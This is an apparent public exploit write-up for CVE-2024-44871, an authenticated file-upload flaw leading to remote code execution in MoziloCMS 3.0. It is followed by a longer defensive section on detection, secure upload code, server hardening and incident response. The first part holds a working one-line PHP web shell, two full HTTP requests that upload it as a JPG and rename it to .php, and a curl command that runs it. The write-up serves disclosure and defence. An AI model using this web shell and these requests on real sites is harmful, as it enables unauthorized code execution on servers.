MoziloCMS 3.0 - Remote Code Execution (RCE)
# Exploit Title: MoziloCMS 3.0 - Remote Code Execution (RCE)
# Date: 10/09/2024
# Exploit Author: Secfortress (https://github.com/sec-fortress)
# Vendor Homepage: https://mozilo.de/
# Software Link:
https://github.com/moziloDasEinsteigerCMS/mozilo3.0/archive/refs/tags/3.0.1.zip
# Version: 3.0
# Tested on: Debian
# Reference: https://vulners.com/cve/CVE-2024-44871
# CVE : CVE-2024-44871
"""
################
# Description #
################
MoziloCMS version 3.0 suffers from an arbitrary file upload vulnerability
in the component "/admin/index.php" which allows an authenticated attacker
to execute arbitrary code on the "Files" session by uploading a maliciously
crafted .JPG file and subsequently renaming its extension to .PHP using the
application's renaming function.
#####################
# PoC for webshell #
#####################
Steps to Reproduce:
1. Login as admin
2. Go to the Files session by the left menu
3. Create a .jpg file with it content having a php web shell
4. Upload the file to the server via the upload icon and save
5. Rename the file to .php on the web server and save
6. Access webshell via this endpoint :
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php
==========================
Request 1 => Upload File: #
==========================
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------186462060042780927583949521447
Content-Length: 607
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer:
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="curent_dir"
Willkommen
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="chancefiles"
true
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="action"
files
-----------------------------186462060042780927583949521447
Content-Disposition: form-data; name="files[]"; filename="revshell.jpg"
Content-Type: image/jpeg
<?=`$_GET[0]`?>
-----------------------------186462060042780927583949521447--
===========================
Request 2 => Rename File: #
===========================
POST /mozilo3.0-3.0.1/admin/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer:
http://127.0.0.1/mozilo3.0-3.0.1/admin/index.php?nojs=true&action=files&multi=true
Cookie: mozilo_editor_settings=true,false,mozilo,12px;
3f57633367583b9bf11d8e979ddc8e2b=gucvcppc86c62nnaefqjelq4ep;
PHPSESSID=p7qq7p1t9sg9ke03mnrp48ir5b;
MOZILOID_24b094c9c2b05ae0c5d9a85bc52a8ded=8civmp61qbc8hmlpg82tit1noo
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
action=files&newfile=revshell.php&orgfile=revshell.jpg&curent_dir=Willkommen&changeart=file_rename
####################
# Webshell access: #
####################
# Wenshell access via curl:
curl
http://127.0.0.1/mozilo3.0-3.0.1/kategorien/Willkommen/dateien/revshell.php?0=whoami
# Output:
www-data
""" MoziloCMS 3.0 — Remote Code Execution (RCE) (CVE-2024-44871)
Summary
MoziloCMS 3.0 is affected by an authenticated arbitrary file upload vulnerability that can lead to remote code execution (RCE). An attacker with an administrative account or sufficient file-management privileges can upload a crafted file that bypasses content/extension checks and place it under a web-accessible directory. If the application allows changing the file extension or otherwise permits the file to be interpreted by the PHP runtime, arbitrary PHP code can be executed by requesting that uploaded file.
Why this is dangerous
- Execution context: Code runs as the web server user (commonly www-data, apache, or nginx), giving the attacker access to files and processes the web user can reach.
- Privilege escalation & pivoting: From a webshell an attacker can attempt privilege escalation on the host or move laterally to other systems.
- Persistence and data theft: Malicious files left in the webroot survive restarts and can be used to exfiltrate data or act as backdoors.
Root cause (technical)
- Insufficient server-side validation of uploaded files: relying only on filename extensions or client-provided MIME type is insecure.
- Allowing file rename operations that change the extension or move files into executable locations without revalidation.
- Storing uploaded content in a web-accessible directory where the web server will execute scripts.
- Missing content inspection for scripting tokens (e.g., PHP tags) and missing separation between upload storage and application code.
Affected components
The issue manifests in the CMS file-management/upload component. It requires an authenticated account with upload/rename permission. Always consult the vendor advisory and CVE-2024-44871 for the official affected-version list and vendor-provided fixes.
Detection and Indicators of Compromise (IoCs)
- Unexpected PHP or other script files in user-upload directories (files, dateien, uploads, media folders).
- Recent modification or creation timestamps on files in these directories without legitimate change logs.
- Suspicious admin-session activity (new logins, unfamiliar IPs, unusual user-agent strings) around file changes.
- Outgoing network connections initiated by web processes or abnormal CPU activity tied to the webserver.
Practical detection examples (defensive)
# Find potentially dangerous script files placed under upload directories
find /var/www -type f \( -iname "*.php" -o -iname "*.phtml" -o -iname "*.php3" \) -path "*dateien*" -mtime -7 -ls
Explanation: This command searches web directories for PHP files inside paths containing "dateien" (common upload folder names) modified in the last 7 days. Adjust paths and age to suit your environment.
# Scan uploaded files for embedded PHP opening tags (defensive scanning)
grep -R --line-number --exclude-dir=logs -E "<\?php|<\?" /var/www/path/to/uploads || true
Explanation: This greps for PHP opening tags within uploaded files. It is a quick defensive check; consider using more robust file inspections (MIME analysis, sandboxing) in production.
Immediate mitigations
- Apply vendor patches or upgrade to a fixed release as soon as it is available from the official MoziloCMS project. Verify checksums and follow vendor guidance.
- If an immediate patch is not available, restrict administrative file-upload/rename operations to trusted IPs and users only (network-level access control).
- Disable or restrict PHP execution in upload directories (see configuration examples below).
- Harden file permissions so uploaded files cannot be executed by the webserver user and store uploads outside the document root.
- Rotate administrator credentials and invalidate active sessions if compromise is suspected.
Preventive controls — secure file upload design
- Enforce server-side whitelisting for allowed file types and extensions.
- Use server-side MIME detection (finfo) and verify the file content against expected types.
- Sanitize and normalize filenames; do not allow user-controlled extensions to determine execution behavior.
- Store uploads outside the webroot and serve them via controlled handlers that validate content before streaming to clients.
- Use randomized filenames and maintain a lookup table in a database instead of using original filenames verbatim.
- Implement Content Security Policy (CSP) and strict HTTP headers to reduce impact even if a malicious file is uploaded.
Secure upload example (PHP defensive pattern)
// Defensive outline for handling uploads in PHP (illustrative)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$allowed = ['image/jpeg' => 'jpg', 'image/png' => 'png'];
$mime = $finfo->file($_FILES['file']['tmp_name']);
if (!isset($allowed[$mime])) {
http_response_code(400);
echo "Unsupported file type";
exit;
}
// Generate safe filename and store outside webroot
$ext = $allowed[$mime];
$basename = bin2hex(random_bytes(12)) . '.' . $ext;
$targetDir = '/var/uploads/userfiles/'; // ensure this is outside document root
$targetPath = $targetDir . $basename;
// Move uploaded file
if (!move_uploaded_file($_FILES['file']['tmp_name'], $targetPath)) {
http_response_code(500);
echo "Upload failed";
exit;
}
// Record metadata in DB, do not allow direct web access
Explanation: This example uses finfo to determine the MIME type server-side and restricts files to an allowlist. Files are given randomized names and stored outside the document root so they cannot be requested directly and executed by the server. Always extend validation (size limits, virus scanning, content inspection) as needed.
Webserver configuration to prevent script execution in upload folders
Disable PHP execution in directories that contain user-uploaded content. Below are example configurations for Apache and Nginx (defensive).
# Apache (.htaccess or site config) - disable script handling
php_admin_flag engine Off
Require all denied
Explanation: This Apache snippet disables the PHP engine for the uploads directory and denies access to common PHP extensions. Use the appropriate mod_php module name/version for your environment.
# Nginx site config - do not pass uploads to PHP-FPM
location /uploads/ {
alias /var/www/uploads/;
autoindex off;
# Serve files as static; never forward to PHP interpreter
try_files $uri =404;
}
Explanation: The Nginx rule serves files statically from the uploads folder and never forwards requests to PHP-FPM. Ensure that the alias path is correct and outside the application code that routes requests to PHP.
WAF / IDS hardening and rules (guidance)
- Create rules to block uploads whose content-type mismatches server-side MIME detection.
- Alert on POST requests that attempt to rename files to executable extensions or on admin API calls that change file types.
- Scan uploaded files for embedded scripting tokens (e.g., "<?", "<script>") and quarantine on suspicion.
Incident response checklist (if you suspect compromise)
- Isolate the affected host from the network to limit attacker movement.
- Preserve logs and a copy of the uploaded file(s) for forensic analysis.
- Search for webshells and other suspicious artifacts; remove confirmed backdoors after preservation.
- Rotate credentials for admin accounts, SSH keys, API tokens, and any secrets stored on the host.
- Restore from a trusted backup if integrity cannot be assured. Reinstall or rebuild the host where necessary.
- Apply vendor patches and validate the fix in a staging environment before returning services to production.
Recommended long-term mitigations
- Implement role-based access control and least privilege for site administration.
- Adopt file-handling best practices (store outside webroot, validate content, use anti-virus scanning, limit size).
- Perform regular dependency and code reviews, and include upload handlers in security-focused testing (SAST/DAST).
- Monitor file-system changes in web directories and configure alerting on anomalous activity.
| Field | Details |
|---|---|
| CVE | CVE-2024-44871 |
| Vulnerability type | Authenticated arbitrary file upload leading to RCE |
| Affected component | Admin file upload/rename functionality |
| Risk | High — remote code execution as web server user |
Final notes
If you operate MoziloCMS, prioritize reviewing your instance for untrusted files in upload directories, apply vendor-supplied updates, and implement the architectural changes described above to prevent reoccurrence. Coordinated defensive measures — code fixes, server configuration, monitoring, and incident readiness — reduce the chance that an attacker can convert file uploads into code execution.